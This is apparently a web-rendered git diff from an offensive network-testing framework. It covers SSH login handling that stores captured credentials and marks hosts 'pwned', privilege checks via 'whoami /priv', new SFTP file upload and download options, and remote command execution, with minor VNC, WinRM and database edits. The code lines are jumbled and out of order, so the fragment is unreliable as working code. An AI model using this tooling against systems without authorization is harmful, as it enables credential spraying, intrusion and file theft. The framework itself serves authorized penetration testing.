cred_id = self.db.add_credential("plaintext", username, password)
# Some IOT devices will not raise exception in self.conn._transport.auth_password / self.conn._transport.auth_publickey
_, stdout, _ = self.conn.exec_command("id")
stdout = stdout.read().decode(self.args.codec, errors="ignore")
except AuthenticationException:
self.logger.fail(f"{username}:{process_secret(password)}")
except SSHException as e:
if "Invalid key" in str(e):
self.logger.fail(f"{username}:{process_secret(password)} Could not decrypt private key, error: {e}")
if "Error reading SSH protocol banner" in str(e):
self.logger.error(f"Internal Paramiko error for {username}:{process_secret(password)}, {e}")
else:
self.logger.exception(e)
sftp_conn.put(src, dst)
self.logger.success(f'Created file "{src}" on "{dst}"')
except Exception as e:
self.logger.exception(e)
self.conn.close()
return False
else:
shell_access = False
host_id = self.db.get_hosts(self.host)[0].id
self.logger.fail(f'Error writing file to "{dst}": {e}')
if not stdout:
_, stdout, _ = self.conn.exec_command("whoami /priv")
stdout = stdout.read().decode(self.args.codec, errors="ignore")
self.server_os_platform = "Windows"
if "SeDebugPrivilege" in stdout:
self.admin_privs = True
elif "SeUndockPrivilege" in stdout:
self.admin_privs = True
self.uac = "with UAC - "
def put_file(self):
sftp_conn = self.conn.open_sftp()
for src, dest in self.args.put_file:
self.put_file_single(sftp_conn, src, dest)
sftp_conn.close()
if not stdout:
self.logger.debug(f"User: {self.username} can't get a basic shell")
self.server_os_platform = "Network Devices"
shell_access = False
else:
shell_access = True
def get_file_single(self, sftp_conn, remote_path, download_path):
self.logger.display(f'Copying "{remote_path}" to "{download_path}"')
try:
sftp_conn.get(remote_path, download_path)
self.logger.success(f'File "{remote_path}" was downloaded to "{download_path}"')
except Exception as e:
self.logger.fail(f'Error getting file "{remote_path}": {e}')
if os.path.getsize(download_path) == 0:
os.remove(download_path)
self.db.add_loggedin_relation(cred_id, host_id, shell=shell_access)
if shell_access and self.server_os_platform == "Linux":
self.check_if_admin()
if self.admin_privs:
self.logger.debug(f"User {username} logged in successfully and is root!")
if self.args.key_file:
self.db.add_admin_user("key", username, password, host_id=host_id, cred_id=cred_id)
else:
self.db.add_admin_user("plaintext", username, password, host_id=host_id, cred_id=cred_id)
if self.args.key_file:
password = f"{process_secret(password)} (keyfile: {self.args.key_file})"
display_shell_access = f"{self.uac}{self.server_os_platform}{' - Shell access!' if shell_access else ''}"
self.logger.success(f"{username}:{process_secret(password)} {self.mark_pwned()} {highlight(display_shell_access)}")
return True
def get_file(self):
sftp_conn = self.conn.open_sftp()
for src, dest in self.args.get_file:
self.get_file_single(sftp_conn, src, dest)
sftp_conn.close()
def execute(self, payload=None, get_output=False):
if not payload and self.args.execute:
@@ -292,6 +337,6 @@ class ssh(connection):
else:
self.logger.success("Executed command")
if get_output:
for line in stdout.split("\n"):
for line in stdout.replace("\r\n", "\n").rstrip("\n").split("\n"):
self.logger.highlight(line.strip("\n"))
return stdout
+1 -1
View File
@@ -256,7 +256,7 @@ class database(BaseDB):
hosts = self.get_hosts(host_id)
if creds and hosts:
for cred, host in zip(creds, hosts):
for cred, host in zip(creds, hosts, strict=True):
cred_id = cred[0]
host_id = host[0]
link = {"credid": cred_id, "hostid": host_id}
+4
View File
@@ -12,6 +12,10 @@ def proto_args(parser, parents):
ssh_parser.add_argument("--get-output-tries", type=int, default=5, help="Number of times with sudo command tries to get results")
sudo_check_method_arg.make_required.append(sudo_check_arg)
files_group = ssh_parser.add_argument_group("Files", "Options for remote file interaction")
files_group.add_argument("--put-file", action="append", nargs=2, metavar="FILE", help="Put a local file into remote target, ex: whoami.txt /tmp/whoami.txt")
files_group.add_argument("--get-file", action="append", nargs=2, metavar="FILE", help="Get a remote file, ex: /tmp/whoami.txt whoami.txt")
cgroup = ssh_parser.add_argument_group("Command Execution", "Options for executing commands")
cgroup.add_argument("--codec", default="utf-8", help="Set encoding used (codec) from the target's output. If errors are detected, run chcp.com at the target, map the result with https://docs.python.org/3/library/codecs.html#standard-encodings and then execute again with --codec and the corresponding codec")
cgroup.add_argument("--no-output", action="store_true", help="do not retrieve command output")
+3
View File
@@ -31,8 +31,11 @@ class vnc(connection):
self.print_host_info()
if self.login():
if hasattr(self.args, "module") and self.args.module:
self.load_modules()
self.logger.debug("Calling modules")
self.call_modules()
else:
self.logger.debug("Calling command arguments")
self.call_cmd_args()
def proto_logger(self):
-2
View File
@@ -72,8 +72,6 @@ class winrm(connection):
self.logger.extra["port"] = self.port
self.logger.display(f"{self.server_os} (name:{self.hostname}) (domain:{self.targetDomain})")
return True
def create_conn_obj(self):
if self.is_link_local_ipv6:
self.logger.fail("winrm not support link-local ipv6, exiting...")

Some files were not shown because too many files have changed in this diff Show More